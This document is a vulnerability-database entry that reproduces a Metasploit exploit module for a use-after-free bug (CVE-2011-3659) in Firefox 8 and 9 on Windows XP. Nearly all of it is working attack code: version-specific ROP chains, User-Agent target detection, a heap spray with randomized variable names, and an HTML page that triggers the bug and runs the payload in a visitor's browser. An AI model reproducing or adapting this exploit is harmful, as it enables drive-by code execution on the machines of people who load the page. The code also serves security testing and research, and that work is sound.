Firefox 8/9 AttributeChildRemoved() Use-After-Free

2012-05-13T09:31:46
ID MSF:EXPLOIT/WINDOWS/BROWSER/MOZILLA_ATTRIBCHILDREMOVED
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1. Removal of child nodes from the nsDOMAttribute can allow for a child to still be accessible after removal due to a premature notification of AttributeChildRemoved. Since mFirstChild is not set to NULL until after this call is made, this means the removed child will be accessible after it has been removed. By carefully manipulating the memory layout, this can lead to arbitrary code execution.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
      'Description'    => %q{
        This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
        Removal of child nodes from the nsDOMAttribute can allow for a child
        to still be accessible after removal due to a premature notification
        of AttributeChildRemoved. Since mFirstChild is not set to NULL until
        after this call is made, this means the removed child will be accessible
        after it has been removed. By carefully manipulating the memory layout,
        this can lead to arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'regenrecht',                          #vulnerability discovery
          'Lincoln <lincoln[at]corelan.be>',      #Metasploit module
          'corelanc0d3r <peter.ve[at]corelan.be>' #Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2011-3659' ],
          [ 'OSVDB', '78736' ],
          [ 'ZDI', '12-110'],
          [ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'BadChars'       => "\x00\x0a\x0d\x34",
          'DisableNops'    => true,
          'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff"  #ADD ESP, -5DC
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic', {} ],
          [
            'Windows XP - Firefox 8 / 8.0.1',
            {
              'Ret'		=> 0x0C0C0C0C,
              'OffSet'	=> 0x606,
              'Size'		=> 0x40000,
              'StackFlip'	=> 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]
              'PopEsp'	=> [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
              'FF'		=> 8,
              'OS'		=> 'XP'
            }
          ],
          [
            'Windows XP - Firefox 9',
            {
              'Ret'		=> 0x0C0C0C0C,
              'OffSet'	=> 0x606,
              'Size'		=> 0x40000,
              'StackFlip'	=> 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
              'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
              'FF'		=> 9,
              'OS'		=> 'XP'
            }
          ],
          [
            'Windows XP - Firefox 9.0.1',
            {
              'Ret'		=> 0x0C0C0C0C,
              'OffSet'	=> 0x606,
              'Size'		=> 0x40000,
              'StackFlip'	=> 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
              'PopEsp'	=> [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
              'FF'		=> 901,
              'OS'		=> 'XP'
            }
          ]
        ],
      'DisclosureDate' => 'Dec 6 2011',
      'DefaultTarget'  => 0))

  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def junk(n=4)
    return rand_text_alpha_upper(n).unpack("L")[0].to_i
  end

  def nop
    return make_nops(4).unpack("L")[0].to_i
  end

  def get_rop_chain(ffversion,osversion)

    # mona.py ROP chains

    rop_chain = []

    if ffversion == 8 and osversion == "XP"

      rop_chain =
      [
        0x7819c80a,     # POP EAX # RETN [MOZCRT19.dll]
        0x781a909c,     # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
        0x7813af5d,     # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
        0x78197f06,     # XCHG EAX,ESI # RETN [MOZCRT19.dll]
        0x7814eef1,     # POP EBP # RETN [MOZCRT19.dll]
        0x781503c3,     # & call esp [MOZCRT19.dll]
        0x781391d0,     # POP EBX # RETN [MOZCRT19.dll]
        0x00000001,     # 0x00000001-> ebx
        0x781a147c,     # POP EDX # RETN [MOZCRT19.dll]
        0x00001000,     # 0x00001000-> edx
        0x7819728e,     # POP ECX # RETN [MOZCRT19.dll]
        0x00000040,     # 0x00000040-> ecx
        0x781945b5,     # POP EDI # RETN [MOZCRT19.dll]
        0x78152809,     # RETN (ROP NOP) [MOZCRT19.dll]
        0x7819ce58,     # POP EAX # RETN [MOZCRT19.dll]
        nop,            # nop
        0x7813d6b7,     # PUSHAD # RETN [MOZCRT19.dll]
      ].flatten.pack("V*")

    elsif ffversion == 9 and osversion == "XP"

      rop_chain =
      [
        0x10019ee9,	# POP ECX # RETN [nspr4.dll]
        0x10020060,	# ptr to &LoadLibraryW() [IAT nspr4.dll]
        0x1000f994,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
        0x10012ad0,	# POP EBX # RETN [nspr4.dll]
        0x00000000,	# clear ebx
        0x10006f41,	# ADD EBX,EAX # XOR EAX,EAX # RETN
        0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
        0x1000d6ce,	# RETN (ROP NOP) [nspr4.dll]
        0x10019ee9,	# POP ECX # RETN [nspr4.dll]
        0x0c0c0c50,	# xul.dll (Unicode string)
        0x1000eeb4,	# POP EDI # RETN [nspr4.dll]
        0x1001f145,	# ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
        0x10004860,	# POP EAX # RETN [nspr4.dll]
        0x1001f111,	# ADD ESP,10 # POP ESI # RETN [nspr4.dll]
        0x100058B3,	# PUSHAD # CALL EAX [nspr4.dll]
        junk,		# win some, lose some
        0x00750078,	# xu
        0x002e006c,	# l.
        0x006c0064,	# dl
        0x0000006c,	# l
        0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
        0x00A63374,	# Delta to IAT VirtualAlloc()
        0x10018ada,	# ADD EAX,EDX # RETN [nspr4.dll]
        0x10008ddf,	# MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
        0x1000a031,     # POP ESI # RETN    ** [nspr4.dll]
        0x1000a031,     # POP ESI # RETN    ** [nspr4.dll] (readable address)
        0x10013f1f,	# XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
        0x1000687b,	# POP EBP # RETN [nspr4.dll]
        0x1001a59b,	# & call esp [nspr4.dll]
        0x10012ad0,	# POP EBX # RETN [nspr4.dll]
        0x00000001,	# 0x00000001-> ebx
        0x1000cf40,	# POP EDX # RETN 00 [nspr4.dll]
        0x00001000,	# 0x00001000-> edx
        0x1001069e,	# POP ECX # RETN [nspr4.dll]
        0x00000040,	# 0x00000040-> ecx
        0x1000eeb4,	# POP EDI # RETN [nspr4.dll]
        0x1000d6ce,	# RETN (ROP NOP) [nspr4.dll]
        0x10004860,	# POP EAX # RETN [nspr4.dll]
        0x10004860,	# POP EAX # RETN [nspr4.dll]
        0x100058B3,	# PUSHAD # CALL EAX [nspr4.dll]
      ].flatten.pack("V*")


    elsif ffversion == 901 and osversion == "XP"

      rop_chain =
      [
        0x1000bfc1,	# POP ECX # RETN [nspr4.dll]
        0x10020060,	# ptr to &LoadLibraryW() [IAT nspr4.dll]
        0x1000f986,	# MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
        0x1000f5ef,	# POP EBX # RETN [nspr4.dll]
        0x00000000,	# clear ebx
        0x10006f51,	# ADD EBX,EAX # XOR EAX,EAX # RETN
        0x1000cf2c,	# POP EDX # RETN 00 [nspr4.dll]
        0x1001ea03,	# RETN (ROP NOP) [nspr4.dll]
        0x1000bfc1,	# POP ECX # RETN [nspr4.dll]
        0x0c0c0c50,	# xul.dll (Unicode string)
        0x1000eea6,	# POP EDI # RETN [nspr4.dll]
        0x1000dda4,	# ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
        0x10004870,	# POP EAX # RETN [nspr4.dll]
        0x10001ab4,	# ADD ESP,10 # POP ESI # RETN [nspr4.dll]
        0x100058c3,	# PUSHAD # CALL EAX [nspr4.dll]
        junk,		# win some, lose some
        0x00750078,	# xu
        0x002e006c,	# l.
        0x006c0064,	# dl
        0x0000006c,	# l
        0x1000cf2c,	# POP EDX # RETN 00 [nspr4.dll]
        0x00A63374,	# Delta to IAT VirtualAlloc()
        0x10018acf,	# ADD EAX,EDX # RETN [nspr4.dll]
        0x10008dd1,	# MOV EAX,DWORD PTR DS:[EAX] # RETN    ** [nspr4.dll]
        0x1000e0b8,	# POP ESI # RETN    ** [nspr4.dll]
        0x1000e0b8,	# POP ESI # RETN    ** [nspr4.dll] (readable address)
        0x10013f14,	# XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
        0x100162d5,	# POP EBP # RETN [nspr4.dll]
        0x10019d12,	# & push esp #  ret  [nspr4.dll]
        0x1000f5ef,	# POP EBX # RETN [nspr4.dll]
        0x00000001,	# 0x00000001-> ebx
        0x1000cf2c,	# POP EDX # RETN 00 [nspr4.dll]
        0x00001000,	# 0x00001000-> edx
        0x10007e46,	# POP ECX # RETN [nspr4.dll]
        0x00000040,	# 0x00000040-> ecx
        0x1000eea6,	# POP EDI # RETN [nspr4.dll]
        0x1001ea03,	# RETN (ROP NOP) [nspr4.dll]
        0x10004870,	# POP EAX # RETN [nspr4.dll]
        0x10004870,	# POP EAX # RETN [nspr4.dll]
        0x100058c3,	# PUSHAD # CALL EAX [nspr4.dll]
      ].flatten.pack("V*")


    end

    return rop_chain
  end


  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # determine the target FF and OS version

    ffversion = ""
    osversion = ""

    agent = request.headers['User-Agent']

    my_target = target
    if my_target.name == 'Automatic'
      if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
        my_target = targets[1]
      elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/
        my_target = targets[3]
      elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/
        my_target = targets[2]
      else
        print_error("Target not supported: #{agent.to_s}")
        send_not_found(cli)
        return
      end
      target = my_target
    end

    # Create the payload
    print_status("Creating payload for #{target.name}")

    rop = [ target['StackFlip'] ].pack("V")
    rop << get_rop_chain(target['FF'],target['OS'])
    rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

    code = payload.encoded
    code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

    popesp = target['PopEsp'].flatten.pack("V*")
    popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))

    filler = [ junk ].pack("V*")
    filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))

    # random JavaScript variable names
    i_name                  = rand_text_alpha(rand(10) + 5)
    rop_name                = rand_text_alpha(rand(10) + 5)
    code_name               = rand_text_alpha(rand(10) + 5)
    offset_length_name      = rand_text_alpha(rand(10) + 5)
    randnum1_name           = rand_text_alpha(rand(10) + 5)
    randnum2_name           = rand_text_alpha(rand(10) + 5)
    randnum3_name           = rand_text_alpha(rand(10) + 5)
    randnum4_name           = rand_text_alpha(rand(10) + 5)
    paddingstr_name         = rand_text_alpha(rand(10) + 5)
    padding_name            = rand_text_alpha(rand(10) + 5)
    junk_offset_name        = rand_text_alpha(rand(10) + 5)
    single_sprayblock_name  = rand_text_alpha(rand(10) + 5)
    sprayblock_name         = rand_text_alpha(rand(10) + 5)
    varname_name            = rand_text_alpha(rand(10) + 5)
    thisvarname_name        = rand_text_alpha(rand(10) + 5)
    attr_name               = rand_text_alpha(rand(10) + 5)
    foo_name                = rand_text_alpha(rand(10) + 5)
    bar_name                = rand_text_alpha(rand(10) + 5)
    ni_name                 = rand_text_alpha(rand(10) + 5)
    small_name              = rand_text_alpha(rand(10) + 5)
    addr_name               = rand_text_alpha(rand(10) + 5)
    run_name                = rand_text_alpha(rand(10) + 5)
    container_name          = rand_text_alpha(rand(10) + 5)

    # corelan precise heap spray:
    # https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
    # + trigger routine
    spray = <<-JS

    var #{rop_name} = unescape("#{rop_js}");
    var #{code_name} = unescape("#{code_js}");
    var #{offset_length_name} = #{target['OffSet']};

    for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)
    {
      var #{randnum1_name}=Math.floor(Math.random()*90)+10;
      var #{randnum2_name}=Math.floor(Math.random()*90)+10;
      var #{randnum3_name}=Math.floor(Math.random()*90)+10;
      var #{randnum4_name}=Math.floor(Math.random()*90)+10;

      var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
      #{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

      var #{padding_name} = unescape(#{paddingstr_name});

      while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

      #{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

      var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
      #{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

      while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

      #{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

      #{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
      #{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
      #{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
      eval(#{thisvarname_name});
    }

    function #{run_name}() {
      var #{attr_name} = document.createAttribute("#{foo_name}");
      #{attr_name}.value = "#{bar_name}";

      var #{ni_name} = document.createNodeIterator(
        #{attr_name}, NodeFilter.SHOW_ALL,
        {acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
        false);

      #{ni_name}.nextNode();
      #{ni_name}.nextNode();
      #{ni_name}.previousNode();

      #{attr_name}.value = null;

      const #{addr_name} = unescape("#{filler_js}");
      var #{container_name} = new Array();
      var #{small_name} = unescape("#{popesp_js}")
      while (#{small_name}.length != 30)
        #{small_name} += #{addr_name};
      for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})
        #{container_name}.push(unescape(#{small_name}));

      #{ni_name}.referenceNode;

    }
    JS

    # build html
    content = <<-HTML
    <html>
    <head>
    <meta http-equiv="refresh" content="3">
    <body>
    <script language='javascript'>
    #{spray}
    </script>
    </head>
    <body onload="#{run_name}();">
    </svg>
    </body>
    </html>
    HTML

    print_status("Returning HTML")

    # Transmit the response to the client
    send_response(cli, content, {'Content-Type'=>'text/html'})

  end
end